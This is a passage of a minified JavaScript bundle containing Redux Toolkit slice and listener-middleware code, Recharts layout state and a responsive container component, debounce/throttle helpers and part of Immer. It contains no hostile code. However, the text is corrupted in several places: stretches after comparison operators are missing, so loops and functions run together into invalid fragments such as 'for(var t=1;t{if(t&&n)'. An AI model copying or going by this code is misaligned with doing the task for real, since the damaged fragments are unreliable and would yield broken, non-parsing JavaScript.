t},WO=Symbol.for("rtk-slice-createasyncthunk");function UO(e,t){return`${e}/${t}`}function VO({creators:e}={}){var n;const t=(n=e==null?void 0:e.asyncThunk)==null?void 0:n[WO];return function(i){const{name:s,reducerPath:o=s}=i;if(!s)throw new Error(mn(11));const l=(typeof i.reducers=="function"?i.reducers(KO()):i.reducers)||{},c=Object.keys(l),u={sliceCaseReducersByName:{},sliceCaseReducersByType:{},actionCreators:{},sliceMatchers:[]},d={addCase(j,N){const z=typeof j=="string"?j:j.type;if(!z)throw new Error(mn(12));if(z in u.sliceCaseReducersByType)throw new Error(mn(13));return u.sliceCaseReducersByType[z]=N,d},addMatcher(j,N){return u.sliceMatchers.push({matcher:j,reducer:N}),d},exposeAction(j,N){return u.actionCreators[j]=N,d},exposeCaseReducer(j,N){return u.sliceCaseReducersByName[j]=N,d}};c.forEach(j=>{const N=l[j],z={reducerName:j,type:UO(s,j),createNotation:typeof i.reducers=="function"};qO(N)?XO(z,N,d,t):YO(z,N,d)});function f(){const[j={},N=[],z=void 0]=typeof i.extraReducers=="function"?ek(i.extraReducers):[i.extraReducers],k={...j,...u.sliceCaseReducersByType};return $O(i.initialState,S=>{for(let A in k)S.addCase(A,k[A]);for(let A of u.sliceMatchers)S.addMatcher(A.matcher,A.reducer);for(let A of N)S.addMatcher(A.matcher,A.reducer);z&&S.addDefaultCase(z)})}const p=j=>j,h=new Map,x=new WeakMap;let g;function y(j,N){return g||(g=f()),g(j,N)}function v(){return g||(g=f()),g.getInitialState()}function b(j,N=!1){function z(S){let A=S[j];return typeof A>"u"&&N&&(A=Vl(x,z,v)),A}function k(S=p){const A=Vl(h,N,()=>new WeakMap);return Vl(A,S,()=>{const _={};for(const[O,P]of Object.entries(i.selectors??{}))_[O]=HO(P,S,()=>Vl(x,S,v),N);return _})}return{reducerPath:j,getSelectors:k,get selectors(){return k(z)},selectSlice:z}}const w={name:s,reducer:y,actions:u.actionCreators,caseReducers:u.sliceCaseReducersByName,getInitialState:v,...b(o),injectInto(j,{reducerPath:N,...z}={}){const k=N??o;return j.inject({reducerPath:k,reducer:y},z),{...w,...b(k,!0)}}};return w}}function HO(e,t,n,r){function i(s,...o){let l=t(s);return typeof l>"u"&&r&&(l=n()),e(l,...o)}return i.unwrapped=e,i}var nn=VO();function KO(){function e(t,n){return{_reducerDefinitionType:"asyncThunk",payloadCreator:t,...n}}return e.withTypes=()=>e,{reducer(t){return Object.assign({[t.name](...n){return t(...n)}}[t.name],{_reducerDefinitionType:"reducer"})},preparedReducer(t,n){return{_reducerDefinitionType:"reducerWithPrepare",prepare:t,reducer:n}},asyncThunk:e}}function YO({type:e,reducerName:t,createNotation:n},r,i){let s,o;if("reducer"in r){if(n&&!GO(r))throw new Error(mn(17));s=r.reducer,o=r.prepare}else s=r;i.addCase(e,s).exposeCaseReducer(t,s).exposeAction(t,o?On(e,o):On(e))}function qO(e){return e._reducerDefinitionType==="asyncThunk"}function GO(e){return e._reducerDefinitionType==="reducerWithPrepare"}function XO({type:e,reducerName:t},n,r,i){if(!i)throw new Error(mn(18));const{payloadCreator:s,fulfilled:o,pending:l,rejected:c,settled:u,options:d}=n,f=i(e,s,d);r.exposeAction(t,f),o&&r.addCase(f.fulfilled,o),l&&r.addCase(f.pending,l),c&&r.addCase(f.rejected,c),u&&r.addMatcher(f.settled,u),r.exposeCaseReducer(t,{fulfilled:o||Hl,pending:l||Hl,rejected:c||Hl,settled:u||Hl})}function Hl(){}var ZO="task",tk="listener",nk="completed",Zx="cancelled",QO=`task-${Zx}`,JO=`task-${nk}`,Gp=`${tk}-${Zx}`,eT=`${tk}-${nk}`,Ld=class{constructor(e){Cf(this,"name","TaskAbortError");Cf(this,"message");this.code=e,this.message=`${ZO} ${Zx} (reason: ${e})`}},Qx=(e,t)=>{if(typeof e!="function")throw new TypeError(mn(32))},mu=()=>{},rk=(e,t=mu)=>(e.catch(t),e),ik=(e,t)=>(e.addEventListener("abort",t,{once:!0}),()=>e.removeEventListener("abort",t)),Ji=e=>{if(e.aborted)throw new Ld(e.reason)};function ak(e,t){let n=mu;return new Promise((r,i)=>{const s=()=>i(new Ld(e.reason));if(e.aborted){s();return}n=ik(e,s),t.finally(()=>n()).then(r,i)}).finally(()=>{n=mu})}var tT=async(e,t)=>{try{return await Promise.resolve(),{status:"ok",value:await e()}}catch(n){return{status:n instanceof Ld?"cancelled":"rejected",error:n}}finally{t==null||t()}},pu=e=>t=>rk(ak(e,t).then(n=>(Ji(e),n))),sk=e=>{const t=pu(e);return n=>t(new Promise(r=>setTimeout(r,n)))},{assign:Xa}=Object,Ey={},Id="listenerMiddleware",nT=(e,t)=>{const n=r=>ik(e,()=>r.abort(e.reason));return(r,i)=>{Qx(r);const s=new AbortController;n(s);const o=tT(async()=>{Ji(e),Ji(s.signal);const l=await r({pause:pu(s.signal),delay:sk(s.signal),signal:s.signal});return Ji(s.signal),l},()=>s.abort(JO));return i!=null&&i.autoJoin&&t.push(o.catch(mu)),{result:pu(e)(o),cancel(){s.abort(QO)}}}},rT=(e,t)=>{const n=async(r,i)=>{Ji(t);let s=()=>{};const l=[new Promise((c,u)=>{let d=e({predicate:r,effect:(f,p)=>{p.unsubscribe(),c([f,p.getState(),p.getOriginalState()])}});s=()=>{d(),u()}})];i!=null&&l.push(new Promise(c=>setTimeout(c,i,null)));try{const c=await ak(t,Promise.race(l));return Ji(t),c}finally{s()}};return(r,i)=>rk(n(r,i))},ok=e=>{let{type:t,actionCreator:n,matcher:r,predicate:i,effect:s}=e;if(t)i=On(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error(mn(21));return Qx(s),{predicate:i,type:t,effect:s}},lk=Xa(e=>{const{type:t,predicate:n,effect:r}=ok(e);return{id:FO(),effect:r,type:t,predicate:n,pending:new Set,unsubscribe:()=>{throw new Error(mn(22))}}},{withTypes:()=>lk}),_y=(e,t)=>{const{type:n,effect:r,predicate:i}=ok(t);return Array.from(e.values()).find(s=>(typeof n=="string"?s.type===n:s.predicate===i)&&s.effect===r)},Xp=e=>{e.pending.forEach(t=>{t.abort(Gp)})},iT=(e,t)=>()=>{for(const n of t.keys())Xp(n);e.clear()},Ay=(e,t,n)=>{try{e(t,n)}catch(r){setTimeout(()=>{throw r},0)}},ck=Xa(On(`${Id}/add`),{withTypes:()=>ck}),aT=On(`${Id}/removeAll`),uk=Xa(On(`${Id}/remove`),{withTypes:()=>uk}),sT=(...e)=>{console.error(`${Id}/error`,...e)},ol=(e={})=>{const t=new Map,n=new Map,r=h=>{const x=n.get(h)??0;n.set(h,x+1)},i=h=>{const x=n.get(h)??1;x===1?n.delete(h):n.set(h,x-1)},{extra:s,onError:o=sT}=e;Qx(o);const l=h=>(h.unsubscribe=()=>t.delete(h.id),t.set(h.id,h),x=>{h.unsubscribe(),x!=null&&x.cancelActive&&Xp(h)}),c=h=>{const x=_y(t,h)??lk(h);return l(x)};Xa(c,{withTypes:()=>c});const u=h=>{const x=_y(t,h);return x&&(x.unsubscribe(),h.cancelActive&&Xp(x)),!!x};Xa(u,{withTypes:()=>u});const d=async(h,x,g,y)=>{const v=new AbortController,b=rT(c,v.signal),w=[];try{h.pending.add(v),r(h),await Promise.resolve(h.effect(x,Xa({},g,{getOriginalState:y,condition:(j,N)=>b(j,N).then(Boolean),take:b,delay:sk(v.signal),pause:pu(v.signal),extra:s,signal:v.signal,fork:nT(v.signal,w),unsubscribe:h.unsubscribe,subscribe:()=>{t.set(h.id,h)},cancelActiveListeners:()=>{h.pending.forEach((j,N,z)=>{j!==v&&(j.abort(Gp),z.delete(j))})},cancel:()=>{v.abort(Gp),h.pending.delete(v)},throwIfCancelled:()=>{Ji(v.signal)}})))}catch(j){j instanceof Ld||Ay(o,j,{raisedBy:"effect"})}finally{await Promise.all(w),v.abort(eT),i(h),h.pending.delete(v)}},f=iT(t,n);return{middleware:h=>x=>g=>{if(!$N(g))return x(g);if(ck.match(g))return c(g.payload);if(aT.match(g)){f();return}if(uk.match(g))return u(g.payload);let y=h.getState();const v=()=>{if(y===Ey)throw new Error(mn(23));return y};let b;try{if(b=x(g),t.size>0){const w=h.getState(),j=Array.from(t.values());for(const N of j){let z=!1;try{z=N.predicate(g,w,y)}catch(k){z=!1,Ay(o,k,{raisedBy:"predicate"})}z&&d(N,g,h,v)}}}finally{y=Ey}return b},startListening:c,stopListening:u,clearListeners:f}};function mn(e){return`Minified Redux Toolkit error #${e}; visit https://redux-toolkit.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var oT={layoutType:"horizontal",width:0,height:0,margin:{top:5,right:5,bottom:5,left:5},scale:1},dk=nn({name:"chartLayout",initialState:oT,reducers:{setLayout(e,t){e.layoutType=t.payload},setChartSize(e,t){e.width=t.payload.width,e.height=t.payload.height},setMargin(e,t){var n,r,i,s;e.margin.top=(n=t.payload.top)!==null&&n!==void 0?n:0,e.margin.right=(r=t.payload.right)!==null&&r!==void 0?r:0,e.margin.bottom=(i=t.payload.bottom)!==null&&i!==void 0?i:0,e.margin.left=(s=t.payload.left)!==null&&s!==void 0?s:0},setScale(e,t){e.scale=t.payload}}}),{setMargin:lT,setLayout:cT,setChartSize:uT,setScale:dT}=dk.actions,fT=dk.reducer;function fk(e,t,n){return Array.isArray(e)&&e&&t+n!==0?e.slice(t,n+1):e}function Ee(e){return Number.isFinite(e)}function Si(e){return typeof e=="number"&&e>0&&Number.isFinite(e)}function Oy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Fa(e){for(var t=1;t{if(t&&n){var{width:r,height:i}=n,{align:s,verticalAlign:o,layout:l}=t;if((l==="vertical"||l==="horizontal"&&o==="middle")&&s!=="center"&&ge(e[s]))return Fa(Fa({},e),{},{[s]:e[s]+(r||0)});if((l==="horizontal"||l==="vertical"&&s==="center")&&o!=="middle"&&ge(e[o]))return Fa(Fa({},e),{},{[o]:e[o]+(i||0)})}return e},vr=(e,t)=>e==="horizontal"&&t==="xAxis"||e==="vertical"&&t==="yAxis"||e==="centric"&&t==="angleAxis"||e==="radial"&&t==="radiusAxis",vT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(u[0]=s,s+=p,u[1]=s):(u[0]=o,o+=p,u[1]=o)}}}},gT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(c[0]=s,s+=u,c[1]=s):(c[0]=0,c[1]=0)}}}},yT={sign:vT,expand:o6,none:ua,silhouette:l6,wiggle:c6,positive:gT},bT=(e,t,n)=>{var r,i=(r=yT[n])!==null&&r!==void 0?r:ua,s=s6().keys(t).value((l,c)=>Number(Ve(l,c,0))).order($p).offset(i),o=s(e);return o.forEach((l,c)=>{l.forEach((u,d)=>{var f=Ve(e[d],t[c],0);Array.isArray(f)&&f.length===2&&ge(f[0])&&ge(f[1])&&(u[0]=f[0],u[1]=f[1])})}),o};function wT(e){return e==null?void 0:String(e)}function Ty(e){var{axis:t,ticks:n,bandSize:r,entry:i,index:s,dataKey:o}=e;if(t.type==="category"){if(!t.allowDuplicatedCategory&&t.dataKey&&!Mt(i[t.dataKey])){var l=iN(n,"value",i[t.dataKey]);if(l)return l.coordinate+r/2}return n!=null&&n[s]?n[s].coordinate+r/2:null}var c=Ve(i,Mt(o)?t.dataKey:o),u=t.scale.map(c);return ge(u)?u:null}var jT=e=>{var t=e.flat(2).filter(ge);return[Math.min(...t),Math.max(...t)]},NT=e=>[e[0]===1/0?0:e[0],e[1]===-1/0?0:e[1]],kT=(e,t,n)=>{if(e!=null)return NT(Object.keys(e).reduce((r,i)=>{var s=e[i];if(!s)return r;var{stackedData:o}=s,l=o.reduce((c,u)=>{var d=fk(u,t,n),f=jT(d);return!Ee(f[0])||!Ee(f[1])?c:[Math.min(c[0],f[0]),Math.max(c[1],f[1])]},[1/0,-1/0]);return[Math.min(l[0],r[0]),Math.max(l[1],r[1])]},[1/0,-1/0]))},My=/^dataMin[\s]*-[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,Ly=/^dataMax[\s]*\+[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,hu=(e,t,n)=>{if(e&&e.scale&&e.scale.bandwidth){var r=e.scale.bandwidth();if(!n||r>0)return r}if(e&&t&&t.length>=2){for(var i=Cd(t,d=>d.coordinate),s=1/0,o=1,l=i.length;o{if(t==="horizontal")return e.chartX;if(t==="vertical")return e.chartY},ST=(e,t)=>t==="centric"?e.angle:e.radius,Hr=e=>e.layout.width,Kr=e=>e.layout.height,CT=e=>e.layout.scale,mk=e=>e.layout.margin,Rd=L(e=>e.cartesianAxis.xAxis,e=>Object.values(e)),$d=L(e=>e.cartesianAxis.yAxis,e=>Object.values(e)),pk="data-recharts-item-index",hk="data-recharts-item-id",ll=60;function Dy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Kl(e){for(var t=1;te.brush.height;function OT(e){var t=$d(e);return t.reduce((n,r)=>{if(r.orientation==="left"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:ll;return n+i}return n},0)}function TT(e){var t=$d(e);return t.reduce((n,r)=>{if(r.orientation==="right"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:ll;return n+i}return n},0)}function MT(e){var t=Rd(e);return t.reduce((n,r)=>r.orientation==="top"&&!r.mirror&&!r.hide?n+r.height:n,0)}function LT(e){var t=Rd(e);return t.reduce((n,r)=>r.orientation==="bottom"&&!r.mirror&&!r.hide?n+r.height:n,0)}var kt=L([Hr,Kr,mk,AT,OT,TT,MT,LT,IN,uO],(e,t,n,r,i,s,o,l,c,u)=>{var d={left:(n.left||0)+i,right:(n.right||0)+s},f={top:(n.top||0)+o,bottom:(n.bottom||0)+l},p=Kl(Kl({},f),d),h=p.bottom;p.bottom+=r,p=xT(p,c,u);var x=e-p.left-p.right,g=t-p.top-p.bottom;return Kl(Kl({brushBottom:h},p),{},{width:Math.max(x,0),height:Math.max(g,0)})}),IT=L(kt,e=>({x:e.left,y:e.top,width:e.width,height:e.height}));L(Hr,Kr,(e,t)=>({x:0,y:0,width:e,height:t}));var DT=m.createContext(null),Jn=()=>m.useContext(DT)!=null,Bd=e=>e.brush,Fd=L([Bd,kt,mk],(e,t,n)=>({height:e.height,x:ge(e.x)?e.x:t.left,y:ge(e.y)?e.y:t.top+t.height+t.brushBottom-((n==null?void 0:n.bottom)||0),width:ge(e.width)?e.width:t.width})),xk={},vk={},gk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r,{signal:i,edges:s}={}){let o,l=null;const c=s!=null&&s.includes("leading"),u=s==null||s.includes("trailing"),d=()=>{l!==null&&(n.apply(o,l),o=void 0,l=null)},f=()=>{u&&d(),g()};let p=null;const h=()=>{p!=null&&clearTimeout(p),p=setTimeout(()=>{p=null,f()},r)},x=()=>{p!==null&&(clearTimeout(p),p=null)},g=()=>{x(),o=void 0,l=null},y=()=>{d()},v=function(...b){if(i!=null&&i.aborted)return;o=this,l=b;const w=p==null;h(),c&&w&&d()};return v.schedule=h,v.cancel=g,v.flush=y,i==null||i.addEventListener("abort",g,{once:!0}),v}e.debounce=t})(gk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=gk;function n(r,i=0,s={}){typeof s!="object"&&(s={});const{leading:o=!1,trailing:l=!0,maxWait:c}=s,u=Array(2);o&&(u[0]="leading"),l&&(u[1]="trailing");let d,f=null;const p=t.debounce(function(...g){d=r.apply(this,g),f=null},i,{edges:u}),h=function(...g){return c!=null&&(f===null&&(f=Date.now()),Date.now()-f>=c)?(d=r.apply(this,g),f=Date.now(),p.cancel(),p.schedule(),d):(p.apply(this,g),d)},x=()=>(p.flush(),d);return h.cancel=p.cancel,h.flush=x,h}e.debounce=n})(vk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=vk;function n(r,i=0,s={}){const{leading:o=!0,trailing:l=!0}=s;return t.debounce(r,i,{leading:o,maxWait:i,trailing:l})}e.throttle=n})(xk);var RT=xk.throttle;const $T=Wr(RT);var Ry=function(t,n){for(var r=arguments.length,i=new Array(r>2?r-2:0),s=2;si[o++]))}},lr={width:"100%",height:"100%",debounce:0,minWidth:0,initialDimension:{width:-1,height:-1}},yk=(e,t,n)=>{var{width:r=lr.width,height:i=lr.height,aspect:s,maxHeight:o}=n,l=da(r)?e:Number(r),c=da(i)?t:Number(i);return s&&s>0&&(l?c=l/s:c&&(l=c*s),o&&c!=null&&c>o&&(c=o)),{calculatedWidth:l,calculatedHeight:c}},BT={width:0,height:0,overflow:"visible"},FT={width:0,overflowX:"visible"},WT={height:0,overflowY:"visible"},UT={},VT=e=>{var{width:t,height:n}=e,r=da(t),i=da(n);return r&&i?BT:r?FT:i?WT:UT};function HT(e){var{width:t,height:n,aspect:r}=e,i=t,s=n;return i===void 0&&s===void 0?(i=lr.width,s=lr.height):i===void 0?i=r&&r>0?void 0:lr.width:s===void 0&&(s=r&&r>0?void 0:lr.height),{width:i,height:s}}function Zp(){return Zp=Object.assign?Object.assign.bind():function(e){for(var t=1;t({width:n,height:r}),[n,r]);return GT(i)?m.createElement(bk.Provider,{value:i},t):null}var Jx=()=>m.useContext(bk),XT=m.forwardRef((e,t)=>{var{aspect:n,initialDimension:r=lr.initialDimension,width:i,height:s,minWidth:o=lr.minWidth,minHeight:l,maxHeight:c,children:u,debounce:d=lr.debounce,id:f,className:p,onResize:h,style:x={}}=e,g=m.useRef(null),y=m.useRef();y.current=h,m.useImperativeHandle(t,()=>g.current);var[v,b]=m.useState({containerWidth:r.width,containerHeight:r.height}),w=m.useCallback((S,A)=>{b(_=>{var O=Math.round(S),P=Math.round(A);return _.containerWidth===O&&_.containerHeight===P?_:{containerWidth:O,containerHeight:P}})},[]);m.useEffect(()=>{if(g.current==null||typeof ResizeObserver>"u")return ys;var S=P=>{var I,Y=P[0];if(Y!=null){var{width:D,height:M}=Y.contentRect;w(D,M),(I=y.current)===null||I===void 0||I.call(y,D,M)}};d>0&&(S=$T(S,d,{trailing:!0,leading:!1}));var A=new ResizeObserver(S),{width:_,height:O}=g.current.getBoundingClientRect();return w(_,O),A.observe(g.current),()=>{A.disconnect()}},[w,d]);var{containerWidth:j,containerHeight:N}=v;Ry(!n||n>0,"The aspect(%s) must be greater than zero.",n);var{calculatedWidth:z,calculatedHeight:k}=yk(j,N,{width:i,height:s,aspect:n,maxHeight:c});return Ry(z!=null&&z>0||k!=null&&k>0,`The width(%s) and height(%s) of chart should be greater than 0, please check the style of container, or the props width(%s) and height(%s), or add a minWidth(%s) or minHeight(%s) or use aspect(%s) to control the height and width.`,z,k,i,s,o,l,n),m.createElement("div",{id:f?"".concat(f):void 0,className:Qe("recharts-responsive-container",p),style:By(By({},x),{},{width:i,height:s,minWidth:o,minHeight:l,maxHeight:c}),ref:g},m.createElement("div",{style:VT({width:i,height:s})},m.createElement(wk,{width:z,height:k},u)))}),Fy=m.forwardRef((e,t)=>{var n=Jx();if(Si(n.width)&&Si(n.height))return e.children;var{width:r,height:i}=HT({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:s,calculatedHeight:o}=yk(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return ge(s)&&ge(o)?m.createElement(wk,{width:s,height:o},e.children):m.createElement(XT,Zp({},e,{width:r,height:i,ref:t}))});function e0(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var Wd=()=>{var e,t=Jn(),n=je(IT),r=je(Fd),i=(e=je(Bd))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},ZT={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},QT=()=>{var e;return(e=je(kt))!==null&&e!==void 0?e:ZT},JT=()=>je(Hr),eM=()=>je(Kr),De=e=>e.layout.layoutType,bs=()=>je(De),tM=()=>{var e=bs();if(e==="horizontal"||e==="vertical")return e},jk=e=>{var t=e.layout.layoutType;if(t==="centric"||t==="radial")return t},nM=()=>{var e=bs();return e!==void 0},cl=e=>{var t=ot(),n=Jn(),{width:r,height:i}=e,s=Jx(),o=r,l=i;return s&&(o=s.width>0?s.width:r,l=s.height>0?s.height:i),m.useEffect(()=>{!n&&Si(o)&&Si(l)&&t(uT({width:o,height:l}))},[t,n,o,l]),null},Nk=Symbol.for("immer-nothing"),Wy=Symbol.for("immer-draftable"),hn=Symbol.for("immer-state");function Vn(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Wo=Object.getPrototypeOf;function cs(e){return!!e&&!!e[hn]}function ma(e){var t;return e?kk(e)||Array.isArray(e)||!!e[Wy]||!!((t=e.constructor)!=null&&t[Wy])||ul(e)||Vd(e):!1}var rM=Object.prototype.constructor.toString(),Uy=new WeakMap;function kk(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=Uy.get(n);return r===void 0&&(r=Function.toString.call(n),Uy.set(n,r)),r===rM}function xu(e,t,n=!0){Ud(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Ud(e){const t=e[hn];return t?t.type_:Array.isArray(e)?1:ul(e)?2:Vd(e)?3:0}function Qp(e,t){return Ud(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function zk(e,t,n){const r=Ud(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function iM(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function ul(e){return e instanceof Map}function Vd(e){return e instanceof Set}function Wi(e){return e.copy_||e.base_}function Jp(e,t){if(ul(e))return new Map(e);if(Vd(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=kk(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[hn];let i=Reflect.ownKeys(r);for(let s=0;s1&&Object.defineProperties(e,{set:Yl,add:Yl,clear:Yl,delete:Yl}),Object.freeze(e),t&&Object.values(e).forEach(n=>t0(n,!0))),e}function aM(){Vn(2)}var Yl={value:aM};function Hd(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var sM={};function pa(e){const t=sM[e];return t||Vn(0,e),t}var Uo;function Sk(){return Uo}function oM(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function Vy(e,t){t&&(pa("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function eh(e){th(e),e.drafts_.forEach(lM),e.drafts_=null}function th(e){e===Uo&&(Uo=e.parent_)}function Hy(e){return Uo=oM(Uo,e)}function lM(e){const t=e[hn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function Ky(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];return e!==void 0&&e!==n?(n[hn].modified_&&(eh(t),Vn(4)),ma(e)&&(e=vu(t,e),t.parent_||gu(t,e)),t.patches_&&pa("Patches").generateReplacementPatches_(n[hn].base_,e,t.patches_,t.inversePatches_)):e=vu(t,n,[]),eh(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==Nk?e:void 0}function vu(e,t,n){if(Hd(t))return t;const r=e.immer_.shouldUseStrictIteration(),i=t[hn];if(!i)return xu(t,(s,o)=>Yy(e,i,t,s,o,n),r),t;if(i.scope_!==e)return t;if(!i.modified_)return gu(e,i.base_,!0),i.base_;if(!i.finalized_){i.finalized_=!0,i.scope_.unfinalizedDrafts_--;const s=i.copy_;let o=s,l=!1;i.type_===3&&(o=new Set(s),s.clear(),l=!0),xu(o,(c,u)=>Yy(e,i,s,c,u,n,l),r),gu(e,s,!1),n&&e.patches_&&pa("Patches").generatePatches_(i,n,e.patches_,e.inversePatches_)}return i.copy_}function Yy(e,t,n,r,i,s,o){if(i==null||typeof i!="object"&&!o)return;const l=Hd(i);if(!(l&&!o)){if(cs(i)){const c=s&&t&&t.type_!==3&&!Qp(t.assigned_,r)?s.concat(r):void 0,u=vu(e,i,c);if(zk(n,r,u),cs(u))e.canAutoFreeze_=!1;else return}else o&&n.add(i);if(ma(i)&&!l){if(!e.immer_.autoFreeze_&&e.unfinalizedDrafts_<1||t&&t.base_&&t.base_[r]===i&&l)return;vu(e,i),(!t||!t.scope_.parent_)&&typeof r!="symbol"&&(ul(n)?n.has(r):Object.prototype.propertyIsEnumerable.call(n,r))&&gu(e,i)}}}function gu(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&t0(t,n)}function cM(e,t){const n=Array.isArray(e),r={type_:n?1:0,scope_:t?t.scope_:Sk(),modified_:!1,finalized_:!1,assigned_:{},parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1};let i=r,s=n0;n&&(i=[r],s=Vo);const{revoke:o,proxy:l}=Proxy.revocable(i,s);return r.draft_=l,r.revoke_=o,l}var n0={get(e,t){if(t===hn)return e;const n=Wi(e);if(!Qp(n,t))return uM(e,n,t);const r=n[t];return e.finalized_||!ma(r)?r:r===dm(e.base_,t)?(fm(e),e.copy_[t]=rh(r,e)):r},has(e,t){return t in Wi(e)},ownKeys(e){return Reflect.ownKeys(Wi(e))},set(e,t,n){const r=Ck(Wi(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=dm(Wi(e),t),s=i==null?void 0:i[hn];if(s&&s.base_===n)return e.copy_[t]=n,e.assigned_[t]=!1,!0;if(iM(n,i)&&(n!==void 0||Qp(e.base_,t)))return!0;fm(e),nh(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_[t]=!0),!0},deleteProperty(e,t){return dm(e.base_,t)!==void 0||t in e.base_?(e.assigned_[t]=!1,fm(e),nh(e)):delete e.assigned_[t],e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Wi(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{writable:!0,configurable:e.type_!==1||t!=="length",enumerable:r.enumerable,value:n[t]}},defineProperty(){Vn(11)},getPrototypeOf(e){return Wo(e.base_)},setPrototypeOf(){Vn(12)}},Vo={};xu(n0,(e,t)=>{Vo[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}});Vo.deleteProperty=function(e,t){return Vo.set.call(this,e,t,void 0)};Vo.set=function(e,t,n){return n0.set.call(this,e[0],t,n,e[0])};function dm(e,t){const n=e[hn];return(n?Wi(n):e)[t]}function uM(e,t,n){var i;const r=Ck(t,n);return r?"value"in r?r.value:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function Ck(e,t){if(!(t in e))return;let n=Wo(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Wo(n)}}function nh(e){e.modified_||(e.modified_=!0,e.parent_&&nh(e.parent_))}function fm(e){e.copy_||(e.copy_=Jp(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var dM=class{constructor(e){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!0,this.produce=(t,n,r)=>{if(typeof t=="function"&&typeof n!="function"){const s=n;n=t;const o=this;return function(c=s,...u){return o.produce(c,d=>n.call(this,d,...u))}}typeof n!="function"&&Vn(6),r!==void 0&&typeof r!="function"&&Vn(7);let i;if(ma(t)){const s=Hy(this),o=rh(t,void 0);let l=!0;try{i=n(o),l=!1}finally{l?eh(s):th(s)}return Vy(s,r),Ky(i,s)}else if(!t||typeof t!="object"){if(i=n(t),i===void 0&&(i=t),i===Nk&&(i=void 0),this.autoFreeze_&&t0(i,!0),r){const s=[],o=[];pa("Patches").generateReplacementPatches_(t,i,s,o),r(s,o)}return i}else Vn(1,t)},this.produceWithPatches=(t,n)=>{if(typeof t=="function")return(o,...l)=>this.produceWithPatches(o,c=>t(c,...l));let r,i;return[this.produce(t,n,(o,l)=>{r=o,i=l}),r,i]},typeof(e==null?void 0:e.autoFreeze)=="boolean"&&this.setAutoFreeze(e.autoFreeze),typeof(e==null?void 0:e.useStrictShallowCopy)=="boolean"&&this.setUseStrictShallowCopy(e.useStrictShallowCopy),typeof(e==null?void 0:e.useStrictIteration)=="boolean"&&this.setUseStrictIteration(e.useStrictIteration)}createDraft(e){ma(e)||Vn(8),cs(e)&&(e=fM(e));const t=Hy(this),n=rh(e,void 0);return n[hn].isManual_=!0,th(t),n}finishDraft(e,t){const n=e&&e[hn];(!n||!n.isManual_)&&Vn(9);const{scope_:r}=n;return Vy(r,t),Ky(void 0,r)}setAutoFreeze(e){this.autoFreeze_=e}setUseStrictShallowCopy(e){this.useStrictShallowCopy_=e}setUseStrictIteration(e){this.useStrictIteration_=e}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(e,t){let n;for(n=t.length-1;n>=0;n--){const i=t[n];if(i.path.length===0&&i.op==="replace"){e=i.value;break}}n>-1&&(t=t.slice(n+1));const 